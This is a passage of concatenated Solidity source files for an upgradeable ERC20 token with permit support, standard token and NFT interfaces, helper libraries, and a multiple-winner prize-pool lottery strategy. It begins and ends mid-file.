*/
function __ERC20Permit_init(string memory name) internal initializer {
__Context_init_unchained();
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained();
}
function __ERC20Permit_init_unchained() internal initializer {
_PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(
abi.encode(
_PERMIT_TYPEHASH,
owner,
spender,
value,
_nonces[owner].current(),
deadline
)
);
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSAUpgradeable.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_nonces[owner].increment();
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./ContextUpgradeable.sol";
import "./IERC20Upgradeable.sol";
import "./SafeMathUpgradeable.sol";
import "./Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./SafeMath.sol";
library FixedPoint {
using SafeMath for uint256;
uint256 internal constant SCALE = 1e18;
function calculateMantissa(uint256 numerator, uint256 denominator) internal pure returns (uint256) {
uint256 mantissa = numerator.mul(SCALE);
mantissa = mantissa.div(denominator);
return mantissa;
}
function multiplyUintByMantissa(uint256 b, uint256 mantissa) internal pure returns (uint256) {
uint256 result = mantissa.mul(b);
result = result.div(SCALE);
return result;
}
function divideUintByMantissa(uint256 dividend, uint256 mantissa) internal pure returns (uint256) {
uint256 result = SCALE.mul(dividend);
result = result.div(mantissa);
return result;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
/**
* @dev Interface of the global ERC1820 Registry, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register
* implementers for interfaces in this registry, as well as query support.
*
* Implementers may be shared by multiple accounts, and can also implement more
* than a single interface for each account. Contracts can implement interfaces
* for themselves, but externally-owned accounts (EOA) must delegate this to a
* contract.
*
* {IERC165} interfaces can also be queried via the registry.
*
* For an in-depth explanation and source code analysis, see the EIP text.
*/
interface IERC1820RegistryUpgradeable {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20PermitUpgradeable {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: GPL-3.0
// solhint-disable-next-line compiler-version
pragma solidity =0.6.12;
import "./AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
library MappedSinglyLinkedList{
address public constant SENTINEL = address(0x1);
struct Mapping {
uint256 count;
mapping(address => address) addressMap;
}
function initialize(Mapping storage self) internal {
require(self.count == 0, "MAPPEDSINGLYLINKEDLIST: ALREADY_INIT");
self.addressMap[SENTINEL] = SENTINEL;
}
function start(Mapping storage self) internal view returns (address) {
return self.addressMap[SENTINEL];
}
function next(Mapping storage self, address current) internal view returns (address) {
return self.addressMap[current];
}
function end(Mapping storage) internal pure returns (address) {
return SENTINEL;
}
function addAddresses(Mapping storage self, address[] memory addresses) internal {
for (uint256 i = 0; i < addresses.length; i++) {
addAddress(self, addresses[i]);
}
}
function addAddress(Mapping storage self, address newAddress) internal {
require(newAddress != SENTINEL && newAddress != address(0), "MAPPEDSINGLYLINKEDLIST: INVALID_ADDRESS");
require(self.addressMap[newAddress] == address(0), "MAPPEDSINGLYLINKEDLIST: ALREADY_ADDED");
self.addressMap[newAddress] = self.addressMap[SENTINEL];
self.addressMap[SENTINEL] = newAddress;
self.count = self.count + 1;
}
function removeAddress(Mapping storage self, address prevAddress, address addr) internal {
require(addr != SENTINEL && addr != address(0), "MAPPEDSINGLYLINKEDLIST: INVALID_ADDRESS");
require(self.addressMap[prevAddress] == addr, "MAPPEDSINGLYLINKEDLIST: INVALID_ADDRESS");
self.addressMap[prevAddress] = self.addressMap[addr];
delete self.addressMap[addr];
self.count = self.count - 1;
}
function contains(Mapping storage self, address addr) internal view returns (bool) {
return addr != SENTINEL && addr != address(0) && self.addressMap[addr] != address(0);
}
function addressArray(Mapping storage self) internal view returns (address[] memory) {
address[] memory array = new address[](self.count);
uint256 count;
address currentAddress = self.addressMap[SENTINEL];
while (currentAddress != address(0) && currentAddress != SENTINEL) {
array[count] = currentAddress;
currentAddress = self.addressMap[currentAddress];
count++;
}
return array;
}
function clearAll(Mapping storage self) internal {
address currentAddress = self.addressMap[SENTINEL];
while (currentAddress != address(0) && currentAddress != SENTINEL) {
address nextAddress = self.addressMap[currentAddress];
delete self.addressMap[currentAddress];
currentAddress = nextAddress;
}
self.addressMap[SENTINEL] = SENTINEL;
self.count = 0;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./PeriodicPrizeStrategy.sol";
contract MultipleWinners is PeriodicPrizeStrategy {
uint256 internal __numberOfWinners;
bool public splitExternalErc20Awards;
event SplitExternalErc20AwardsSet(bool splitExternalErc20Awards);
event NumberOfWinnersSet(uint256 numberOfWinners);
event NoWinners();
function initializeMultipleWinners (
uint256 _prizePeriodStart,
uint256 _prizePeriodSeconds,
PrizePool _prizePool,
TicketInterface _ticket,
RNGInterface _rng,
uint256 _numberOfWinners
) public initializer {
IERC20Upgradeable[] memory _externalErc20Awards;
PeriodicPrizeStrategy.initialize(
_prizePeriodStart,
_prizePeriodSeconds,
_prizePool,
_ticket,
_rng,
_externalErc20Awards
);
_setNumberOfWinners(_numberOfWinners);
}
function _distribute(uint256 randomNumber) internal override {
uint256 prize = prizePool.captureAwardBalance();
address mainWinner = ticket.draw(randomNumber);
if (mainWinner == address(0)) {
emit NoWinners();
return;
}
_awardExternalErc721s(mainWinner);
address[] memory winners = new address[](__numberOfWinners);
winners[0] = mainWinner;
uint256 nextRandom = randomNumber;
for (uint256 winnerCount = 1; winnerCount < __numberOfWinners; winnerCount++) {
bytes32 nextRandomHash = keccak256(abi.encodePacked(nextRandom + 499 + winnerCount*521));
nextRandom = uint256(nextRandomHash);
winners[winnerCount] = ticket.draw(nextRandom);
}
uint256 prizeShare = prize.div(winners.length);
if (prizeShare > 0) {
for (uint i = 0; i < winners.length; i++) {
_awardTickets(winners[i], prizeShare);
}
}
if (splitExternalErc20Awards) {
address currentToken = externalErc20s.start();
while (currentToken != address(0) && currentToken != externalErc20s.end()) {
uint256 balance = IERC20Upgradeable(currentToken).balanceOf(address(prizePool));
uint256 split = balance.div(__numberOfWinners);
if (split > 0) {
for (uint256 i = 0; i < winners.length; i++) {
prizePool.awardExternalERC20(winners[i], currentToken, split);
}
}
currentToken = externalErc20s.next(currentToken);
}
} else {
_awardExternalErc20s(mainWinner);
}
}
function setSplitExternalErc20Awards(bool _splitExternalErc20Awards) external onlyOwner requireAwardNotInProgress {
splitExternalErc20Awards = _splitExternalErc20Awards;
emit SplitExternalErc20AwardsSet(splitExternalErc20Awards);
}
function setNumberOfWinners(uint256 count) external onlyOwner requireAwardNotInProgress {
_setNumberOfWinners(count);
}
function numberOfWinners() external view returns (uint256) {
return __numberOfWinners;
}
function _setNumberOfWinners(uint256 count) internal {
require(count > 0, "MULTIPLEWINNERS: WINNERS_GTE_ONE");
__numberOfWinners = count;
emit NumberOfWinnersSet(count);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./ContextUpgradeable.sol";
import "./Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./OwnableUpgradeable.sol";
import "./SafeMathUpgradeable.sol";
import "./SafeCastUpgradeable.sol";
import "./ERC165CheckerUpgradeable.sol";
import "./IERC20Upgradeable.sol";
import "./SafeERC20Upgradeable.sol";
import "./AddressUpgradeable.sol";
import "./MappedSinglyLinkedList.sol";
import "./Constants.sol";
import "./FixedPoint.sol";
import "./RNGInterface.sol";
import "./TokenControllerInterface.sol";
import "./TicketInterface.sol";
import "./PeriodicPrizeStrategyListenerInterface.sol";
import "./PeriodicPrizeStrategyListenerLibrary.sol";
import "./BeforeAwardListener.sol";
import "./TokenListener.sol";
import "./ControlledToken.sol";
import "./PrizePool.sol";
/* solium-disable security/no-block-members */
abstract contract PeriodicPrizeStrategy is Initializable,
OwnableUpgradeable,
TokenListener {
using SafeMathUpgradeable for uint256;
using SafeCastUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
using MappedSinglyLinkedList for MappedSinglyLinkedList.Mapping;
using AddressUpgradeable for address;
using ERC165CheckerUpgradeable for address;
uint256 internal constant ETHEREUM_BLOCK_TIME_ESTIMATE_MANTISSA = 13.4 ether;
event PrizePoolOpened(
address indexed operator,
uint256 indexed prizePeriodStartedAt
);
event RngRequestFailed();
event PrizePoolAwardStarted(
address indexed operator,
address indexed prizePool,
uint32 indexed rngRequestId,
uint32 rngLockBlock
);
event PrizePoolAwardCancelled(
address indexed operator,
address indexed prizePool,
uint32 indexed rngRequestId,
uint32 rngLockBlock
);
event PrizePoolAwarded(
address indexed operator,
uint256 randomNumber
);
event RngServiceUpdated(
RNGInterface indexed rngService
);
event TokenListenerUpdated(
TokenListenerInterface indexed tokenListener
);
event RngRequestTimeoutSet(
uint32 rngRequestTimeout
);
event PrizePeriodSecondsUpdated(
uint256 prizePeriodSeconds
);
event BeforeAwardListenerSet(
BeforeAwardListenerInterface indexed beforeAwardListener
);
event PeriodicPrizeStrategyListenerSet(
PeriodicPrizeStrategyListenerInterface indexed periodicPrizeStrategyListener
);
